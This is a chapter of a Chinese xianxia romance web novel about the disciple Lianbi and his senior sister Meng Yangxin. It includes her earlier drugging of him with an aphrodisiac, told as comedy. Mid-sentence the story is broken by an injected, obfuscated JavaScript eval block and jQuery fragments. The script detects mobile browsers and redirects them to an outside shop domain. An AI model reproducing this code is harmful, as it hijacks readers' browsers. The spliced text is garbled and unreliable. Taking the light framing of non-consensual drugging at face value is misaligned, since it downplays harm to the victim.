连璧是一个很寡淡的人。
他从小便来到青云宗学习剑术,所在意的不过“修炼”这一件事情。
他十几年来都以青云宗为锚点,从未远离过。因为不太能认路,他下山除妖时也都是同门引路,执行完任务立即回山,从不耽搁。
他和周围的人并不亲近,平日里几乎没人会私下里来找他说笑谈心。
大家都说他清冷淡然,时间长了,自己也就默认了。
但是,孟养心和他不同。
他第一次听说她的名字是在十二岁。
在外游历多年的孟长生长老带回个徒弟,这在当时的青云宗引起轩然大坡,同门们都在议论,几句闲话也就不可避免地传进了他的耳朵里。
他只在一旁默默听着,从没有参与进去,却厘清了很多关于孟养心的事。
她比他大两岁。
她未经过收徒大会,却已是孟长老的亲传弟子,是他的师姐。
她跟着孟长老去过很多地方。
她温柔热情,大家都对她印象很好。
……
她和他不是一路人。
意识到这一点后,他识趣地远离了有关她的消息。
青云宗那么大,两个不相干的人根本不会有什么交集,也正是如此,他一直没有机会见过她。
直到十八岁那年。
在某次的宗门会议上,他作为崔东风的首徒寸步不离地跟着,大殿里人多,气味有些混杂,他憋得头有些痛。
崔东风实在能说会道,在会场窜来窜去,他只能一边默默忍受,一边想理由离开。
恍然间,一抹清清淡淡的幽香传来,像是月下随风摇曳的芙蕖花,花香像水波一样荡漾流淌,萦绕在他的鼻尖,消散了他心里的憋闷。
他惊讶,目光沿着清香的路径看过去,隔着正在交谈的崔东风和孟长生,对上一双深如幽潭的眸子。
她身材匀称高挑,一身青色衣衫,梳着简单的发髻,娴静秀美的白皙面庞露出亲切的微笑,用温柔的嗓音向他问好。
声音清泠泠的,仿若晚间为人拂去心田燥意的凉风。
他的脸颊蓦地发烫,心脏漏掉一拍,慌张之间,只僵硬地应了一声。
这时,他才知道,原来她就是孟养心。
会议结束之后回到逍遥峰,他很明显感觉到自己变得有些“不正常”了。他总是会不经意间想到孟养心。
他开始隐晦地向同门打听她,知道了她会去揽月峰的医馆上值。
可他身体很好,没生过什么病。
他有些失望。
后来,他不知怎么想的,独自去了苍云峰。
那天下起了小雨,他在细雨中漫无目的地游荡,回过神已经湿透了。
没有见到孟养心,因为不知道她住在哪里,在苍云峰绕了好几圈,最后只能御剑悻悻离开。
此后两年,他又见过她几次,只是远远地碰到,并无交谈。
她很忙,苍云峰很多事情都需要她去做,根本无暇顾及一个只有几面之缘的人。
或许,她并不知道自己是谁。
他有些伤心。
所以,当孟养心在众人面前向他表白时,他受宠若惊。像是埋藏在心底的情感终于被发现,他又惊又喜。
孟养心也在默默关注他吗?
内心激动的情绪如潮水般涌动,仿佛随时都会喷涌而出。
他努力克制住,顾不得周围都是看热闹的人,羞涩并期待地问孟养心:“你为什么会喜欢我呢?”
孟养心犹犹豫豫、眼神闪躲,他突然有一种不好的预感——
“你长得很好看,我喜欢你的脸。”
周围人的议论声突然停下了,他也怔愣住。
只是……喜欢他的脸吗?
期盼已久的东西落空,会让人感到万分失望。
连璧不知道自己想要什么,但绝不是这种答案。
如此庸俗肤浅的话竟然出自孟养心之口,连璧心脏像被剜掉了一块,她往日出尘脱俗的形象瞬间在心中大打折扣。
想到自己最初好似也是被孟养心的外貌吸引的,他开始鄙视自己往日对她那些不切实际的、隐隐约约的心思。
他心里很不是滋味,却不明白为何会这样,实在难以描述,思考良久,只得出这样一个结论:
男女情爱这种东西果然不适合他。
他拒绝了孟养心。
在一片唏嘘声中,头也不回地离开。
回到逍遥峰后,他难得哭一场,哭过了,也就放下了。
偏偏孟养心不死心,此后一个多月,她天天来烦扰他,对他嘘寒问暖,对他关怀备至。他起初还小鹿乱撞、不知所措,次数多了,便只觉烦人。
青云宗人多口杂,孟养心的所作所为让他们二人成为了舆论的焦点,谁见到他都会过来调侃两句。
更重要的是,孟养心人缘极好,跟她熟悉的弟子私下里来找他,指责他到底下了什么迷魂药,让往日认真修炼的孟养心心不在焉,天天往逍遥峰跑。
他实在不堪羞辱,向孟养心下了最后通牒,警告她不要再来纠缠。
以为一切终于可以结束,没想到几天后孟养心竟给自己下了春/药。
他躺在地上,浑身燥热,脑子迷迷糊糊,只能任由孟养心摆布,交出了自己的第一次。
他一直以为孟养心是对他求之不得才不得已出此阴招,可如今看来事实恐怕并非如此。
那本书露出来的内容他看得一清二楚,上面字迹分明地写着——
“合欢散”。
“催/情丹”。
这些都是春/药。
在青云宗,几乎不会出现与此有关的东西,孟养心大晚上在藏书阁鬼鬼祟祟地看这种书,被发现了还这般惊慌,实在可疑。
此时距离孟养心给他下药还有将近两个月的时间。
这样看来,孟养心她居然是蓄谋已久!
意识到这点后,像是得到了某种肯定,连璧整颗心瞬间雀跃起来,他努力压制住自己想要上扬的嘴角。
他就知道!
这个女人果然还是对他图谋不轨!
*
在连璧出声喊她的瞬间,孟养心迅速收合书本,却还是被连璧眼疾手快地拽住了。
“师姐在看什么书呢,这么认真?”他修长如竹的手指捏紧书的一角,孟养心不肯放手,那本书就这样横在了两人的中间。
“绮罗香经?”连璧念出来封皮上的名字。
“师姐,这本书是讲什么的?”他的语气透出一丝隐隐的笑意。
孟养心想蒙混过去,心虚地磕巴道:“就是,关于香露香丸之类的。”
“原来是这样,”连璧意味深长地说,“这名字起得的确活色生香。”
他似乎刻意拉长了尾音,短短的一句话像带了钩子一样,听起来怪怪的,孟养心额角的青筋隐跳,但并未细想。
只要连璧信了便好,他应该没看见吧,如此想着,她心中松了一口气,在对方松手时将书拿过来放到了自己腿上,点头回应。
却不想又听到连璧幽幽开口:“只是……”
“记载香露香丸的书为何会提到‘合欢散’和‘催/情丹’这些东西呢?”
孟养心猛抬头,目瞪口呆地看向连璧,对上他从容不迫的眼神。
他看到了!
孟养心一时语塞,脑子里掀起风暴,开始寻找理由。
上一世系统逼迫她给连璧下药,她思来想去记起孟长生曾告诉她聂紫茵年少时是合欢宗的圣女,合欢宗覆灭后才拜入青云宗。此后很长一段时间,聂紫茵私下里偷偷研究闺房合欢之物,还著书立说、编纂丹集,孟长生对此颇有微词。
这《绮罗香经》便是聂紫茵根据佚失的合欢宗古籍加之自己的钻
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17679080|207625||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
研整合撰写而成。其中不仅载录了各种迷/情/诱/惑的熏香,还有许多致人情动的丹药,从药性到成分再到炼制方法应有尽有。
孟养心当时抱着试一试的心态来藏书阁找寻,没想到真被她找到了。她挑了一个药效最含蓄最安全的合欢散,炼制出来后,偷摸下到给连璧的吃食里,将系统糊弄了过去。
前日,聂紫茵让她整理看过的丹方古籍,她自然而然想到了这本书。起初,她并不想当着众人的面观看此书,但大雨将至,众人纷纷离开,藏书阁只剩她一人,这才将书找出来。
她承认自己此举存了讨好聂紫茵的念头,可谁会知道连璧突然到访藏书阁,谁又能料到他竟会凑过来呀!
孟养心欲哭无泪,现下没有其他更好的办法了,只能将聂紫茵推出去了。
她心一横,张口道:“是聂紫茵长老让我看的。”
怕连璧不信,她还解释:“就是苍云峰丹心阁的聂长老,我师尊出山游历去了,聂长老代行峰主之职,她让看我自然是要遵从的。而且这书中确实记载了许多熏香花露,只是、只是不止这些罢了……”
孟养心不擅长说谎,声音越来越小,脸颊染上绯色,不敢抬眼看他,在灯火的映照下泛着一层柔光,往日娴雅柔美的面容显出几分妩媚含羞。
连璧目光黏在她身上,不放过她表情任何的细微变化,见她如许,忽地眼热,一种浓烈的感觉将要在胸腔烧开,他有些不自在地侧过脸,手握拳遮住嘴,假装咳嗽一声,堪堪压了下去。
“既是如此,师姐可真是勤奋,看得这般认真。”
连璧嘴上说着,心里却是另一种想法,他只觉是孟养心在用借口搪塞敷衍他。聂长老他也是见过几面的,为人严肃,怎会让弟子看这种书。
瞧孟养心这副脸红腼腆的模样,谁又能想到她两个月后会对他下药呢。
不过,她当时与自己肌肤相亲之时也是这样羞涩吗?
他当时意识迷糊,第二天醒来时已不记得丝毫过程,只剩一身的旖旎痕迹。
他心底突然升起一丝懊恼。
孟养心不知该如何接话,她瞅了一眼连璧,见他眉头紧锁,双唇紧闭,似是在走神。
气氛不明所以地僵住了,孟养心不安地摩挲放在膝上的那本《绮罗香经》,几息过后,她撩起眼皮,发现连璧的目光定格在了自己正在写的笔记上。
纸张散散落落铺在桌面上,每一张都写满了字。她的字迹清雅娟秀,疏密有致,墨色旁边用朱墨标注着自己的见解。
想起自己写的是什么,孟养心腾的一声站起来,弯腰笼盖住,腿上的书“哐当”掉在了桌下。
连璧见状一愣,随后蹲下来,身子探到桌下去捡书。
孟养心脸上火辣辣的,眼神闪烁着尴尬的光芒,慌乱地收拾整理纸张。
连璧很快将书拿了上来,轻轻放在旁边。
随后,骨节分明的食指顽劣似的摁住了一张纸。
孟养心扯了扯,却是扯不走。
烛光摇曳,墙上的光影中,连璧微微俯身向她靠近,她感知到了,顿时心头一紧。
一丝清浅的低笑在耳边荡漾开来,低沉轻缓的声音响起:“师姐对这春/药的见解还真是独到。”
说着,连璧的指尖在纸上轻轻敲击着,一下又一下,仿佛砸在孟养心的心尖,她的脑袋扎得更低了,眼睛晕乎乎地看着纸上那自己亲手写上的红色批注。
【合欢散,用多种情花炼制而成,男女皆可用,女子用之柔媚如水、情意绵绵,男子则宗/筋通达,昂/扬不下。然,此药成分太凶,会伤及灵脉,若能去除替换几种药物,经过改良后,药性减弱,不失为辅助闺房之乐的良物。】
青云宗向来讲究礼数、管教严格,弟子们几乎没有机会接触风月之物,她却把一个春/药的功效写得如此直白,可真是……
孟养心此刻真想找个地缝钻进去。